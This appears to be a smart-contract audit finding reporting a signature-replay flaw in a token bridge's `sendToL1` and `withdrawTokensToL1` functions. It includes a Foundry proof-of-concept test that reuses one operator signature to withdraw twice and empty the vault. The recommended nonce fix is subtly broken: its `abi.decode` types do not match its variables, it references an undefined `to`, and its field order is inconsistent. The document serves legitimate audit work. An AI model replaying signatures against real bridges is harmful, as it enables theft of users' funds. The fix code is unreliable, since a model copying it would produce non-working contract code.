Summary
A signature can be used multiple times from the same beneficiary
Vulnerability Details
The functions sendToL1 doesn't check if a message was used so a message can be called multiple times by anyone, as there is no access control over the function. This behaviour opens the following attack vector:
- User make the request to withdraw from L2 to L1
- Off chain component signs the request and calls the one of the 2 functions (`withrawTokensToL1` or `sendToL1`) making public the components of the signature (v, r, s) and transfering the tokens to the User
- User calls again one of the above functions with the same parameters, receiving multiple times the same amount of tokens
Impact
High
Tools Used
Manual, Unit test
Recommendations
Messages should be uniq, and checked if they were used before. The uniq component can be assured by adding nonces on the to variable inside the message. Then, on sendToL1 function after deconding the message, check if the nonce from the message is a nonce used before.
For making the checking easier, we will consider that the nonces must be in order, incremented by one on each message
mapping(address => uint256) public userNonces;
...
function withdrawTokensToL1(address to, uint256 amount, uint256 nonce, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
nonce,
0,
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}
...
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, uint256 nonce, bytes memory data) = abi.decode(message, (address, uint256, bytes));
if (nonce != userNonces[to]){
revert();
}
userNonces[to]++;
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}
PoC:
Working Test Case
function testUserCanWithdrawTokensWithOperatorSignatureMultipleTimes() public {
address user2 = makeAddr("user2");
address user2InL2 = makeAddr("user2InL2");
vm.prank(deployer);
token.transfer(address(user2), 1000e18);
uint256 depositAmountUser = 10e18;
uint256 depositAmountUser2 = 10e18;
vm.startPrank(user);
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmountUser);
tokenBridge.depositTokensToL2(user, userInL2, depositAmountUser);
vm.stopPrank();
vm.startPrank(user2);
token.approve(address(tokenBridge), depositAmountUser2);
tokenBridge.depositTokensToL2(user2, user2InL2, depositAmountUser2);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmountUser + depositAmountUser2);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmountUser);
vm.startPrank(user);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmountUser), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmountUser, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance);
assertEq(token.balanceOf(address(vault)), depositAmountUser);
tokenBridge.withdrawTokensToL1(user, depositAmountUser, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance + depositAmountUser);
assertEq(token.balanceOf(address(vault)), 0);
}